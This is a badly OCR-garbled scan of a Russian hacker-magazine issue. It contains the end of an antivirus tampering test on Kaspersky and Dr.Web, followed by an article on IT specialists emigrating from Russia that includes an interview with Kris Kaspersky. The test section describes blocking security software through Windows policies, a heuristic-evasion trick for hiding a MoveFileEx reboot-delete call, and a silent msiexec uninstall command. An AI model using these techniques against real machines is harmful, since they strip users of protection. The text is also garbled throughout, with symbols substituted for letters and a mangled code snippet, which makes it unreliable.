на его залуск в политиках !!!п6ошз, мь{ перезагрухаем компьютер
и смотрим на результат. ['1осле старта системь{ (азрегз[<у спу5тА|
работает' как ни в чем не бь:вало. 3апустился не только сервис с
правами системь!' но и процесс с лривилегиями текущего пользо-
вателя. ]1охохе, это лервая пятерка у (аспера. !_1оздравляем!
6 0г!!еб ситуация чуть хухе' Блокирование запуска 6шеп9!пе'
ехе никак не повлияло на работу,!октора' а вот если прописать
в политиках имя сканера, то он не запустится. 1аким хе образом
парализуется ра6ота 5р!0ег 6шаг6. Ёикакие сообщения при запуске
какого-ни6удь зловреда пользователю показань! не будут. Ёо стоит
отметить' что защитнь!е функции антивирус потерял не полностью.
,[дя шифрова ния пуги к файлу во втором тесте и маски ровки передач и
флага й0!ЁР! |Ё_0Ё|Ау_[)\]т!|_РБ800[ функции \4оуеР][е[х в
третьем использовался специальнь:й трюк' которь:й позволяет обойти
эвристические анализаторь! антивирусного [10' Ёсли мь: сохраним
клюн для расшифровки некой строки в памяти программь: напрямую {в
виде конста нть! или передаваемого значения]' то анализаторь! кода смо
г}т отследить всю цепоч ку использования этого ключа и в конце получить
исходную информацию в раскриптованном виде.
!о клюн мохно сформи ровать из двух настей: 6азовая и псевдослу
чайная части. Базовая часть - это просто ч исло, которое хра нится в
па мяти. 3есь фо кус в псевдослуча йной части ' Ёе надо сгенерировать
так, нтобь: эвристическая машина не смогла проанализировать к0д
генерации. !делать это мохно' вь!звав некоторую системную функцию
с такими параметрами, которь!е приведл к однозначному результац:
ошоРо р5ецаоРапооп|{9;с (..0]]:;' о!,1оРо а]0'| )
{
{ореп (''ёз]}<1[;з01('',,,г,, ) ;
!шоп! егг = ::се|!а5[Ёггог();
гс]гцгг1 о|9!| + егг;
)
Функции рзеш6оРап6огп0!9!| передается 6азовая часть ключа. ['1осле
этого мь! пь!таемся открь!ть несуществующий файл' в результате чего
получ и м вполне определен нь: й код ош и6ки. ['1 риба вляя этот код к
базовой части ключа' мь! лишаем эвристические анализаторь: всякой
надехдь! понять, что хе все-таки произошло. 8 резул ьтате чего а нти-
ви рус не мохет расш ифровать строку а ' следовательно, и п редъявить
какие-либо лретензии.
х^кЁР 08 /]з9/ 10
BemeP34 for Journal-plaza.net
д.|
Файл цёстройи поиощь
пршерка | статистжа |
6 Ё'ьтстрая вг'-'ееру<а
|' полная пр-'с,еро,'а
. ьь ьо'0'1н.)
в этом рехше про@ряются!
* Фператвнаяпаиять
* 3агрузочнь:е секторь| всех дисков
* о6ъщть| авто3апкка
* (орневой каталог зёгру3очного диска
* (орневой катёюг диска установки ш!мф9
* ₠истемный каталог шпаф5
* пфка п4ои докшйть!
* 8реюнный катФФ (истейь!
* временный катФФ польз0ватФя
8ведите текст, и3о6рёженнь!й на кёртинке:
!
!
8ажно: когда само3ащита отключена,
3ачем и почему нуяно вводи гь капчу и
отключать сам03ашиту - неясн0. п0оше
согласиться:)
0н вь:полнитдействия' залохеннь'е в нас;ройках по
умолчанию. например' 6ерехно перенесет вирус в ка-
рантин, но пользователь о6 этом' к сохалению' ничего
не узнает'.!октор 8е6 получает четверку'
тЁст ш95
8 пятом и последнем испь!тании мь! попь!таемся пол-
ностью удалить защитное ['10 с помощью штатного инс-
таллятора. Ёо удалить так, чтобь; пользователь ничего
не заметил' ['1рактинески у всех современнь х инстру-
мен ! ов для развер-ь!ва н ия эри ло - ени-л 6 ( и(_₠м₠ ₠₠]о
так назь ваемь!й <тихий рехим>, когда пользователю
не задается никаких ли\!них вопросов. 8от с помощью
этого рехима мь: 6удем тестировать антивирусь!.
.!л я . н е види м о й > деи нсталля ци и (азре гз[у с пу5тА!_
нухно вь!полнить следующую команду: гпз!ехес /чш!е{ /
ш п | пз|а || { 1 А590 64 ^- 1 2 ^9 - [ь9 г - 99 г6- 04в г 1 1 8 0 в с г г}.
(люч /чц!ег означает' что пользователь не увидит ни
одного окна' касающегося процесса анинсталла' 71ден
тификатор в фигурнь:х скобках уникален для установ-
ленного дистрибутива (ристал. ['1осле вь;полнения этой
командь! (асперский не вь!дает никаких сообщений,
касающихся попь!тки его удаления. но и сама деинс-
талляция как таковая завершается неуданей' (аспер
справился с испь1танием - без лишнего шума он пресек
попь!тку несанкционированного удаления. 8торая
п яте р ка.
.!ля тестирования 0г.\&еб 6ь:ла вь:полнена та хе коман-
да, с той лишь разницей' что бь:л заменен идентифика_
тор дистрибутива. 9ерез некоторое время после запуска
гпз|ехес с нухнь!ми параметрами на экране появился
диалог с предлохением отключить модуль самозащить
и ввести капчу' в случае правильного набора цифро-
вого кода,[,октор иснезнет с компьютера пользователя
!!]дд
вьтделить есе |
еь!ле'+'1ть п"р'-'.''е^',''' \ п.р'-''.-''', 1. удалить |
процйс в памяп| с!\ш!пФФ^./5\вхр!о!8.вхе:440
{0 1' |Бю{6"'(13'Ф ]й506з1
[канео оаботает. 8се чисто
навсегда. [о' нто.!октор 8еб спросил разрешения об
отключении самозащить! - это хорошо' но плохо' что
он ре соо6дил Ёа[1 ]ричинь!' _']о го_орои самозацита
отключается. Ёеопь:тнь й юзер мохет подумать' что так
нухно' и с чистой совестью ввести капчу.8 итоге 0г.\/!еб
получаеттройку. поскольку непонятнь!е окошки с непо-
нятнь!м текстом - дурной тон.
итоги
Ёа этом все' [1ять ухаснь:х испь:таний пройдень:.
11екоторь:е хухе' некоторь е лучше. [1о ни (азрегз[у
спу5тА|' ни 0п!!еб 5есшг!|у 5расе Рго не смогли сдать
все ]ес]о! на отлично..[ля 6оль:ей ча!лядьос]и мохьо
посмотреть в таблицу с оценками и вспомнить, как это
бь:ло.3
!,4тоги: ,!октор 3еб оказался устой н ивей ко вся ким деструкти вн ь! м вь1 пада м в его
сторону' 0н хорошо защитил свои файль: на уровне Ф[ и смог п ротивостоять хес-
токи м пол итикам безопасности !!1п6отмз. А его модуль самозащить! не позвол ит
злоумь!шленни кам тихо и незаметно удал ить а нти ви рус.
(асперски й справился нрь хухе. |ла вной п роблемой для него стал за мас ки ро_
ваннь:й вь:зов йомеР![еЁхсфлагом м0угг!|г 0Ё|Ау |..]\т! _пЁ3001' !4'тоговая
оценка за краш-тестирование: ка5регз(у [Р15|А| - 3.6 балла, 0г\:!еб 5есшг!|у
5расе Рго - 4.4 балла.
1ест ],!!1 з
5
1ест ],!ц2
к
1ест ],!ц3 2
5
1ест },|!4 5
4
1ест ],|95
п
.-,
з
[релний 6алл 3.6 ь.|[
хАкБР 08 /] з97 ] 0
> 081
BemeP34 for Journal-plaza.net
] ] мария <м||г|[|> неФ₠дова п.{г!11вгеа|.ха&ер.г0
х0Р0ш0 тАм' гд[ нАс н[т
3ц статью вполне мохно бь:ло бь; начать с п ро-
страннь!х рассухдений отом' что в Россииимеет
место проблема дечки мозгов. ( сохалению,
наша с то6ой сегодняшняя реальностьтакова,
что молодь!е и тала нтл и вь!е специалисть! все
наще беуг за рубех в поисках лучш ейхизни'
/ мохно бь;ло бь! дол го растекаться по дре-
ву перебирая причинь!' приведшие ктакому
печальному полохению вещей' ища виновать!х
и та к далее' но да вай признаем _ все это 6ь:ло
бьт не слишком-то интересно' да и чтиво, в целом,
полунилось бь: грустное' если не сказать. депрес-
си вное' [1оэтому мь: и реш или зайти с другой
сторонь!, оставив поиски ответов на извечнь!е
вопрось! <кто виноват?, и.что делать?"другим'
(ак известно, самой достоверной и интересной
всегда является информация, полученная из
первь!х рук' так что м ь! на прямую пообщал ись с
молодь!ми и не очень ![-специалистами' которь!е
перебрались из России в самь!е разнь!еуголки
мира' Ребята поведали нам, почемуониуехали
из РФ, рассказали' насколько слохно им бь:ло' и
с какими подводнь!ми камнями пришлось столк-
нщься' [1люс кэтому мьп покурили форумь:' блоги
и прочие полезнь!е ресурсь! ' в итоге собрав для
тебя кунусамой разной информации. !а вь:ходе
получ ился, конеч но, не то чтобь: ма нуал из серии
"бош{о"' ведьдвух одинаковь!х пгей в эмигра-
ции не 6ь:вает' и воспользоваться чухим опь!том
удается далеко не всегда. Ёо все хе эта статья
помохеттебе понять, с какой сторонь: вообще
подходить к вопросу переезда в друтю стра ну а
та к)ке даст некоторое п редставлен ие о том' ка к
хивется российскому 11-шникуза ру6ехом. Ёу а
если переезд за гра ницу не входит в твои пла нь!,
) 082
мигРАши ш_шник0в
сРгднги п0л0сь|
шг и кАк живут нАши 3А гРАницги
то мохешь отнестись к нихеизлохенному как к
онередной передаче телеканала 0!зсомец :).
]шк искАть РАБ0ш3А РуББж0м?
['1охалуй, э по самь:й хивотрепещущий вопрос
для кахдого хелающего <понаехать>: где и как
искать рабоц за п ределами РФ? 8ариа нтов со-
тни ' и универсальнь!х рецептов здесь нет' м ногое
зависит отобразования, специализации' опь!та
работь;, знания язь!ков и такдалее. 0пятьхе'
однодело' когда втвоем распоряхении имеются
полезнь!е зацепки и связи' и совсем другое' если
их нет 71та к, предста вим, что их нет - в таком
случае клавиацрутебе в зубь:, и вперед - в !еть'
Ёачинать поиски ' конечно' стои г с са йтов ва ка н-
сий, притом какзарубехнь:х, так и русскоязь!чнь!х
{на крупнь:х ресурсахтипа [б.гш публикуется
немало серьезнь:х предлохений по насти ра6оть:
за границей).
[1люс' раз ухть: решил вплотную заняться
поисками ра6оть!, значит, к этому моменцть!
наверняка ухе определился со списком стран-
кандидатов, куда хотелось 6ь: эм и грировать' [1з
этого тохе мохно извлеч ь определенную вь! году:
скахем, ть! мечтаеш ь уехать в Австрал и ю; знач ит'
покопайся в инете и постарайся найти комьюнити
русскоязь!чнь!х <понаехавших> в страну кенцру'
8 таком месте мохно не тол ько полун ить инфор-
мацию из первь|х рук и узнать мнохество вахнь!х
деталей, но и вполне вероятно' что там ухе не
раз обсухдалисьтемь: поиска ра6оть!' получения
рабоней визь: ' вида на хительство и такдалее.
6ловом, не забь:вай' нто практинески любая ин-
формация находится на расстоянии парь! кликов'
и нухно п росто не лен иться ее искать.
(стати, вопрось; эмиграции, поиска ра6оть:,
оформления бумаг и ихе с н и ми очень часто
поднимаются на крупнь!х цристических порта-
лах, вроде форума 8инского (Б||о ://{огш гп.аш6'
!ц']. так что для общего развития туда тохе стоит
заглянль'
Ёу и, конен но' не стоит забь: вать о кадровь!х
а гентствах, хотя это пал ка о двух концах' и кахдь:й
решаетсам' стоитли с ними связь:ваться. <<|оче-
му?" - спроси шь ть:. ['1озволь в ответ п роцитиро-
ватьтебе мнение (риса (асперски, которь:й на
работе за границей съел собаку:
.8вязь:ваться с кадровь!ми агентствами я лично
не рекомендую. !ело в том ' что он и рассчита_
н ь! на поток, то есть берщся за са м ь!е легкие
ва рианть!, а остальнь! м частен ько отказь! вают.
!люс, очень много в этой среде кидалова' так что
у многих работодателей доверия к а генствам тохе
нет' !у это какслухбь: знакомств:!.
А самь:й простой способ поиска работь: - дейс_
твоватьчерез сайть: самихфирм. Ёа кахдом
сайте уваха ющей себя ком па ни и, вне за виси-
мости от ее размера, есть раздел <карьера". й
дахе если подходящих тебе позиций там не1
возмохно' написать им все равно стои1 ведь под
хорошихлюдей вакансии открь!ваются по мере
посцпления'>.
(рис дает онень дельн ь!й совет: пом имо <<ра-
ботнь:х> сайтов, действительно' стоит о6ратить
внимание и на раздель: вакансий на сайтах
!1- компан и й.
|-лавное, помни - передтем' как начинать
всюду рассь!лать свое резюме' убедись, что оно
правильно составлено. 3то настоящая наука' и
принять:е у нас формать] резюме существен но
отличаются отзару6ехнь:х.1ак нто в этом вопро-
се' возмохно, как раз стоит п ри6егн}ть к помощи
профессионалов и заплатить им дене1 нто6ь;
х^кЁР 08 /!з9/ 10
BemeP34 for Journal-plaza.net
ФшуРистичнь!и сингАпуР
сАмь!й п!Рвь!й в0пР0с, к0т0Рь!й 0Бь!чн0 3АдАют всЁм 3мигРАн1А},|: <9[0
п0Будил0 вАс п0кинугь Р0днуш стРАну?>. в0т чт0 нА зт0 0твЁчАют 3миг-
РиР0вАвшиЁ зА гРАницу А}'!1[[!]}!}'!(14:
. 8 поисках луншей зарплать| и карьерного роста не хотелось перебираться из регио-
нов в <<неРезиновь:е'> йоскву или |итер, поэтому вь:бор пал на <<заграницу>.
.8 России вообще нетдостойной работьп в ![-сфере'
. ймея возмохность перебраться в страну с лучшим уровнем жизни и заниматься там
интереснь!м, перспективнь!м делом, грех ею не воспользоваться. А такого рода воз-
мохность, теоретически, есть у лю6ого хорошего специалиста.
. !,отелось посмотреть мир и показать себя.
. 8дохновил пример знакомь:х/лрузей.
. {-]оступило заманчивое предложение из крупной []-компании.
Бь:ли' конечно, и другие варианть! ответов' !апример, кто-то искал луншей хизни и
стабильносги для себя и семьи' а кто-то и вовсе, слунайно с1олкнувшись с дос1а'!очно
молодь.м для России явлением дауншифтинга, решил попь!тать счастья [в основном
это касается аутсорсеров, хивущих в странах Азии).
ки, а впоследствии там проще остаться совсем.
Ёу' а помимо климата и отслствия проблем
с 6умагами' еще одним 6есспорнь!м плюсом
становится дешевизна' которая заметна почти
во всем, начиная от цен на хилье и заканчивая
едой. [1ен": в н0к0тФ!о!х !голках этой.ас ! и
света вполне мог}т ввергнль москвича или
петер6урхца в некоторь:й ступор'
[]тобь: не бь ть голословнь!ми' приведем
пример. } нашего коллеги' редактора хурнала
Р!а г6'п'5о[1 Ёвген ия ['1етрова' имеется опь!т
проживания и работь: вАндии' и вотчто он нам
поведал:
.3се э-и штамгь! <о самой грязной стране
мира> и <рассаднике заразь!> не имеют ничего
общего с действительностью [ну если, конечно'
селиться не в полнь!хтрущобах]. йь - типич-
ная городская семья' привь!кшая к некоторому
минимальному комфорц, поэтому не собира-
лись уезхать <хоть куда-нибудь".
[ финансовой точки зрения нас подкрепляло
наличие сдаваемой в аренду московской
трешки и дистанционная работа на Ёаг6'п'5о{1.
йь: договорились с редакцией > урнала' ч !о я
моц перейти на полностью удаленную ра6оту.
8 период кризиса эпо 6ь:л 36м0чётельнв!й
компромисс для обеих сторон :).
[4'так,20 октября 2009 года мь! приземлились в
городе [хируванантхапурам {или проще - }ри_
вандрум) - столице штата (ерала. 3то понти
на самом югеАндии.0ттуда еще40 км вверхдо
потом не п ри шлось уди вляться: < п очему мне
п риходи г та к мало о'т кл и ков? | '.
Азия и Аутс0РсЁРь!
|ачнем, похалуй' с самой большой части све'
та, ко]орая пользуе'ся огромной популярнос-
тью у эмигрантов вообще и у нашего 1[-шного
брата в настности - с Азии.
хАк₠Р 0в /1з9, 10
Азиатские странь! вовсе не случайно так при
влекают искателей луншей хизни; дело в том'
что после (снехной России> народзачасцю
стремится ктеплу' и в итоге вь:6ор многихлюдей
останавливается на 1аиланде, Андии' Азраиле'
!х4алайэии и так далее. 0пять хе' получить визу
в некоторь!е азиатские странь! не в пример про-
ще. чем в странь: Ёвропь: или 6еверной Амери-
) 083
BemeP34 for Journal-plaza.net
тт
г0нк0н!; китАи
/
]'
местечка 3аркала. ]ам мь нашли прилиннь;й
дом: четь!ре спальни' кухня' пара террас' холл'
столовая и пр- 3 общем, нормальное хилище (в
России я такого себе позволить не могу).
['1оскольку оно бь:ло в 20 минутах ходьбь; от
океана' месячная аренда составила $1 85' при
условии оплать! за полгода вперед. [орошие
дома рядом с океаном обошлись бь в $300-
$500' в зависимости от площади' хадности
хозяев и умения торговаться' Ёще около $30 в
месяцуходило на оплатусвета и газа'
Ёда там дешевая. ! нас вь;ходило около $200 на
всех, и это включая довольно частое посеще
ние прибрехнь х ресторанов. &естная кухня
очень вкусная и разнообразная, не говоря ух
о . ве <ес ! и и делиь а ! еснос ! и о !де!онь!( блод.
!ля самостоятельной готовки тохе есть почти
все продукть]' кроме' мохет 6ь!ть' гречки и
нормального сь ра.
\{'о: г ):пил7 сипььо годер канч-:й' ьо впоп;е
рабоний скутер за $350. на нем бь:ло сподрун'
нее всем впятером добираться до пляха и не
только. Б магазин там съездить' или на слонах
покататься - онень удо6но' 8 таком виде мь;
стали местной достопримечательностью, дахе
несмотря на то' что тремя-четь рьмя индусами
на одном мотике никого не удивишь:|.
(онечно' нухноучить!вать' что все описанное
относится к семейному оседлому варианту. Бсе
очень размеренно и спокойно.,! ля любителей
потусоваться это' конечно, не то место. |о оди'
нокому непритязательному молодому человеку
там вполнелегко мохно найти опрятную комна
) о84
ту!(у на поберехье за $70-$] 00 в месяц' Ёу и
на питание будетуходить примерно столько хе.
!,отя если хочется путешествовать, переме
щаться тутухе немног0 другие 6юдхеть:' 3се
хе страна немаленькая>.
0т себя за м ети м, что на йти ра боту н е пос редс -
твенно в й1ндии крайне трудно' и зарплата в
$500-$700 там считается хорошей. 8 свете
эт0го совсем неудивительно, нто !4'ндию в нас-
тности и странь Азии в целом так любят и ценят
удаленщики' работающие нерез интернет.
8провем' не будем забьтвать о том' на терри-
тории Азии располохено цель:х 53 государс
тва, и далеко не все они столь приветливь к
иммигрантам. 3зять хотя бь: (итай и Ёпонию' в
которь!х все кардинальнь!м образом отличается
от вь!шеописанного.
3десь ра6ота для !1-шниковтохе имеется' но
ухе несколько иного сорта - сюда стремятся
/ го1адаю' в ос]овРом специалисть' де7с; в;
тельно вь!сокого класса [в частности' имеется
почти вечная нехватка талантливь|х инхене-
ров). }ровень цен в цивилизованнь!х местах
3осточной и !0го_восточной Азии на порядок
вьтше (а в нецивилизованнь хть! врядли
захочешь селиться)' и да-да' здесь чертовски
тесно - перенаселение, знаешьли; на востоке
торчит почти 60% всего человечества.
!ехать работать в вь сокотехнологичнь!е странь]
Бостока непросто' если ть!, конечно' не аутсор-
сер дауншифтер' и тебе не все равно, где нахо-
диться' лишь бь! уровень цен и комфорта тебя
у, :раивал' ]о ес ! о' вряд ли ! ь! сумее]о ьайти
серьезную' хорошо оплачиваемую долхность
на том хе поберехье (итая' в туристинес
ко-курортной зоне' в то время как []..]анхай,
|]екин и [арбин. где располохень! предста-
вительства многих компаний_монстров 11'
всегда находятся в поиске светль!х умов.
.!ля того, ятобь; перебраться сюда более
основательно' понадобятся серьезнь]е
таланть!' хелание и упорство, немало возни
с бума ами' а та} + е ! риде]ся учить мес нь:й
язь!к' так как одним английским здесь ухе
не обойдешься. [отя, повторимся' ра6ота
здесь имеется. и ее действительно много'
просто веб-мастеров и 5Ё0-специалист0в тут
хватает и своих ]].
Ёсли хе говорить об окончательном переезде
на ['1\4* и получении грахданства. то это
воо6ще огромная слохность - например'
программ иммиграции в |понии практичес-
ки нет, так что натурализация' по большому
счету' возмохна только через брак. 8 итоге
большинство прохивающих в стране восхо
дящего солнца !| шников хивут по рабояей
визе' продляя ее' или хе находятуне6нь;е
83!и3н_о! мохногос'у1и'ьвя_]онс.ийвуз'
после унебь: остаться на стахировку' а дальше
_ гпядишь' и хорошая ра6ота найде:ся.
гвР0пА _ Б0гАтств0 вь!Б0РА
Ёвропа, как часть света, не намного меньше
Азии - это 45 государств' которь е сильно
разнятся по всем параметрам. 3 этой связи
кратко обрисовать. каково это - "хить в Ёв
ропе>' вряд ли возмохно' ведь уровень цен'
уровень хизни и многие другие факторь могут
(/льЁо варьирова ! ься да} е в_,;ределах одной
странь: [а то и города).
Ёврога привле^аег 1-шь:,ов всех ма._ей
что довольно логично' ведь она многонаци-
ональна и весьма толерантна. ['1ри хелании
здесь найдет свое место и карьерист' мечтаю-
щий о престихной работе в топовой 1 ком-
пании'и скромнь:й удаленщик' ищущий благ
цивилизации' но втишине и покое.
[казь:вается' конечно' и относительная
близость Родинь все хе слетать из [)ондона
или [йадрида в Россию' чтобь навестить
роднь;х и друзей или разобраться с делами
- куда блихе и дешевле, нехели' к примеру'
с Бал и.
[1еребирать все 45 государств и обстановку в
х^к₠Р 08 /] з97 1 0
BemeP34 for Journal-plaza.net
них мь!' конечно' не будем' но по некоторь!м
все хе пройдемся.
|а Британских островах сейнас вседовольно
тоскливо.
Арландия, где еще 3-5 леттому назад бь:ло
немало работь; в ![-сфере, сегодня вряд ли
с м охет ч е м -то п орадовать. " !-и н нес", .0'у6л и н
и.0,ень [вятого ['1атрика - это, конечно'
круто, но только первое время. ['1отом хе' как
показь!вает практика' становится скучно и
грустно - ра6оть: сейнас почти нет |последс-
твия кризиса}' цень] кусаются' да и климат на
любителя.
Британия' равно как и Франция, и без того
наводнена <<понаехавшими>' а недавние из-
менения в законах об иммиграции удручают
- сейчас практически невозмохно предска-
зать' что будет нерез несколько лет' и по каким
правилам будутдавать ['1й* и грахданство'
(томухе, здесь недавно подняли планкудля
получения ра6оней визь: 1!ег 1, чем почти
полностью зарубили подачу документов из
документами)' так что для получения ра6оней
визь: потребуется приглашение от серьезного
работодателя. 11олунить вид на хительство
трудно, грахданство - еще слохнее. (ень: в
Аспании - это что-то среднее мехду ['1итером
и йосквой. [апример, съем более_менее при-
личной хилплощади в йадриде обойдется
тебе в 800-'1 000 евро в месяц, но в пригороде
мохно подь!скать вариантза 500 евро.
А вот |ермания в наши нелегкие времена
нувствует се6я хорошо и вполне уверено.
Ёсли ть: следишь за мировь!ми новостями, то
знаешь' что новоиспеченнь:е европейские
.странь;-6анкроть;, 6росились просить помо-
щи какразуФР[.
Работа для технарей здесь есть, 6олее того,
если тебя приглашает немецкая фирма' при
этом сразудается вид на хительство {на
время работь:}. [1равда' в случае расставания
с работодателем тебя бь:стренько полросят
удалиться из странь!.
8 целом' с бумагами и трудоустройством
(дшя того, чтоБь| пвРвБРАться
сюдц БолвБ основАтвльно по-
нАд]оБятся свРьв3нь|в тш1Анть|,
жвлАниЁи упоРство нвмш1о
во3ни с БумАгАми)
России.,[ело в том, что для полунения [!ег
1 требуется не тол ько сда ча яз ь! ко вого теста
[Ё!-[5 и наличие свободньпх финансовь:х
средств, но и диплом магистра [|"1аз1ег'з
0е9гее!, а русские магистрь! и специалисть!
теперь приравниваются к бакалаврам. Ёще по
новь|м правилам нельзя отсрствовать в [-)(
больше 90дней в году. 3нающий народ сооб-
щает' что при хелании мохно доказать и свою
степень [полунив в [''!АР!8 нухную справку),
да и в 90 дней, вроде бь:, не долхнь! входить
отпуск и командировки' но на деле все это не
всегда соответствует действительности. Ё сли
учестьтакхе вь:сокий уровень цен [комнату
в приличном районе, рядом с метро дешевле
500-700 фунтов (24-33ть:с' ру6лей! не найти,
а поездка на метро обходится примерно в 1 00
.деревяннь:х,], картина, сам понимаешь,
получается не особенно привлекательная'
8 /спании тохе не слишком радухно - все те
хе последствия кризиса' паршивая эко-
номическая ситуация в стране ([реция ухе
фактинески обанкротилась, и [4спания в этом
вопросе уверенно дь:шит ей в спину!.
0чень велик процент 6езработиць: - более
20%, нто делает йспанию лидером в этом
вопросе во всей западной [вропе, но в среде
!1, тем не менее, что-то вполне мохно найти'
Без документов здесь, как и в большинстве
других стран Ё6, поработать не вь:йдет {на
лю6ое место найдется куча хелающих' но с
х^квР 08 /1 з97 1 0
сицация аналогична другим странам Ё6 _
сперва компания, принимающая тебя на ра-
боту, долхна доказать' что такого хе специа-
листа невозмохно найти в |ермании или в Ё[-].
0статься эдесь на [1 й)(' полунив грахданс-
тво' дос!аточно проблемно. самь!е вернь!е
варианть! - через 6ракили открь!тие своего
дела. 6 остальнь!м возмохнь! трудности.
!ля комфортного прохивания и ра6оть: в
ФР|тебе понадобится знать или вь!учить
немецкий язь!к' хотя знание английского тохе
не 6удетлишним.
Раз6рос цен на хилье довольно велик, так
как страна немаленькая. 8 6ольших городах'
традиционно' дорохе' то есть на среднеевро-
пейском уровне: двушка в й юнхене обойдется
в 000-'1 000 евро в месяц; но в то хе время в
[1ейпциге аналогичная хилплощадь мохет
стоить порядка 300 евро. ₠тоимость про-
дуктов, одехдь! и прочихтоваров по стране
колеблется несильно.
8о Франции последствия кризиса тохе
заметнь] не слишком сильно. но есть немного
другая проблема - какухе бь:ло сказано
вь:ше, это большое количество иммигрантов'
1т4ногие, кто прохил во Франции по нескольку
лет' отзь!ваются об этом в крайне негативном
ключе: <0громное количество отвратительно
ведущих себя эмигрантов из бь:вших колоний
и сла6овольная полиция, у которой нет пол-
номочий что-то с этим делать,. Ёаписавший
приведеннь!е строки !1_шник, кстати, в итоге
принял решение вернуться в Россию.
!о если засилье ара6ов и нео6ходимость
ун ить ф ра н цузс ки й яз ь: к тебя н е пуга ют' то в
остальном квалифицированному специалисту
ил и студе нту здесь м охн о н е пл охо устро иться.
[.]ансь: найти работу весьма неплохи {но наши
дипломь! придется подтверхдать), с оформ-
лением 6умаг все обстоит примерно такхе,
как и в других странах Ё[. !-{ень: и климат
здесь' опять хе, на лю6ой вкус, хотя' конечно,
у !1-шника врядли получится найти работу
где_нибудь на [!азурном поберехье :]' 3ато
зарплать! у квалифицированнь!х инхенеров
здесь начинаются где-то от 5000 евро'
сввЁРнАя АмгРикА
и кРис кАспгРски
14сторию этого человека мь! решили вь!нести
отдельно' потому что знаем' как наши читате-
ли по нему скучают, и знаем' что большинство
продолхает и нтересоваться его судь6ой.
йтак, для тех' кто не в курсе: один из люби-
мейших народом авторов нашего хурнала,
известнь:й на весь мир хакер (рис (асперски,
ухе успел объездить полпланеть: и сейчас
осел в ₠оединеннь:х [_.1.]татах звездно-по-
лосатой Америки. Ёа даннь:й момент (рис
трудится на компанию йсА{ее в долхности ни
много ни мало зеп!ог геуегзе еп9!пеег
0 том, как у него все это получилось, давай
спросим его самого.
м!й!!(м}: (ак родилась идея уехать из Рос-
сии?|те6я бь:л конкретный план эмигриро-
вать,или все вь:шло спонтанно?
(рис (асперски ((.(.}: 3то длин н ая история.
8 общем, всему виной причинь! личного
характера' которь!е мне здорово надоели -
из-за них я решил куда-то переехать. [отел
захить' что назь!вается "самостоятельной,
свободной хизнью''. Атак как йосква и [1итер
меня совершенно не прикаль!вают' а больше
нигде работьп в РФ и нет, я стал рассматривать
вь:ездной вариант.
||А.: ['1ередтем, как осесть в [!.1татах, ть: успел
побь:вать в куче стран' помнится, бь:л дахе в
[0АР. 6 чем это бь:ло связано?
!(.(.: 1ехнически сейчас я ' ш''''* у** ,
третий раз, а до этого я фрилансил по всему
миру. 8 [0АР бь:л' да - сотрудничал там с ком-
панией зепзеро5{.соп. по сути, в разъездах
я вь:6ирал мехду [0АР й1зраилем' Ёвропой и
[..]тата ми. [1 рисматривался.
!\А.: А как именно вь:бирал, от чего отталки-
вался? 1о есть ть! находил предлохения о
ра6оте и отталкивался от них' или вначале
абстрактно сел и подумал на тему<<страна'
где я хотел бь: хить>, а ух потом искал рабоц
именнотам?
(.(.: Ёу' прехде всего, конечно' бь:ла ра6ота
- мне предлохили, я и поехал.,[умал, нто
просто так' а оказалось' надолго.
) 085
BemeP34 for Journal-plaza.net
8ообще, снанала нухно именно поработать,
и здесь я пробовал все возмохнь!е варианть]
[йалайзия' (орея, |онконг, }аиланд). [1росто
чтобы хоть что-то лонять, нухно похитьхоть
немного в стране и посмотреть, вкурить в
миграционное законодательство, оценить свои
шансь:. 8 общем, я какое_то время буквально
хил в самолетах. й в итоге понял, что Азия меня
не прикаль!вает.
й.:1огда позволь вопрос про неизбехную и
вездесущую 6юрократию. (огда ты фрилансил и
катался по всему свец трудно ли 6ь:ло с бумага-
ми, в частности, с визами?
(.(.: !а, с визами бь;ли про6лемь;' особенно
поначалу когда у меня официально не 6ь:ло ни-
какой работы, а понти вездетребуется справка с
этой самой ра6оть:. [1отом с этим стало намного
проще..[ело в том, что в определеннь:й момент
я откопал в йоскве хорошее визовое агентство,
которое и взяло на себя решение моих про6лем.
Ёо' например, едва я сделал визу в (итай _ там
неохиданно затребовали оригиналь! справок
с работь:, приглашения. 8 Америку' опять хе'
делал визу 6 месяцев _ у меня бь!ли явнь!е миг-
щий шаг - устроился блоггером в молодую, но
бь;стро расцщую штатовскую компанию за $800
в месяц.3то бь;л Ёп6еауог5есшг|1у.9 написал
пять статей' из которь!х опу6ликовали две,
представляешь? Ао английский мой все равно
сли вал, та к что особен но п исать мне и не дал и,
особенно когда поняли, что я моц реверсить. !у
вот.1огда_то и зародился проект' над которь!м
работаю сейнас' а 6ь:ло это в июне 2008 года'
!!!.: ['1огоди, а как утебя с язь:ком сейнас. когда
ть! ездишь по всему миру общаешься с людьми'
докладь] читаешь и, наконец, в Америке хи-
вешь?
(.(.: йой ан глийский - до сих пор не фонтан _
я со слуха все понимаю, но сам не очень хорощо
говорю' !о когда приходится кахдь:й день
часов по ] 2 молотить язь:ком' а потом оттяги-
ваться по <кульцрной программе> еще наса 4,
п р и вь! каеш ь.
А в [].]татах язьпковой средь:' кактаковой' и нет,
это не [1зраиль. !апример' у нас в команде
три китайца - они мехду собой говорят на
китайском' девушка с [айваня, девушка из [0АР
ияизРоссии. [1люс у шефа хен а изАпонии'
шеф, добрейшей души человек' в последний
моменттрудоустроил меня, так что в йсА[ее я
попал ухе переводом. 0фициально они приня-
ли меня в августе 2009 года' заключив со мной
трудовой договор.
!|/!.: [)олунается, нто прошел ухе год' 14 как
ощущения на <<новом месте" (и в стране' и в
компа н ии] ?
(.(.: ['1ервое впечатление отсамого Рестона
[куда я прилетел из 6ан-Франциско и где и хиву
сейчас) бь:ло очень сильнь!м. [1редставляешь'
задница полная _ один хайвей. вь;сокая трава,
тропинка еще более запущенная, чем в |0АР а
изтравь: белки вь!прь!гивают. [4' на ведь город
один сотовь:й оператор' один кинотеатр и два
продуктовь!х магазина. Ёу, еще компьютернь:й
магазин Арр[е, и все.
8ообще, здесь в Рестоне хайтек_зона. Ёе (рем-
ниевая долина' конечно, но все хе _ помимо
круп н ь:х фирм ти па <.!4' нтела '> и всего прочего
есть и компании помельче' типа йсА{ее, а такхе
офись: еще более мелких контор' типа !0е1епсе.
8 общем, во второй визит мне угухе очень
понрав илось, и я реш ился ' ( тому хе у нас здесь
рационнь!е намерения, которь!х я и не скрь|вал,
так что начали проверять мой бэкраунд. ! тогда
летел на интервью в йасгоу!з!оп' и получилось
очень забавно: я долхен бь|л прибь:ть в февра-
ле' но визу вь!дали только в мае, так что к ним
я добрался только в июле. Ёо все хе визь: мне
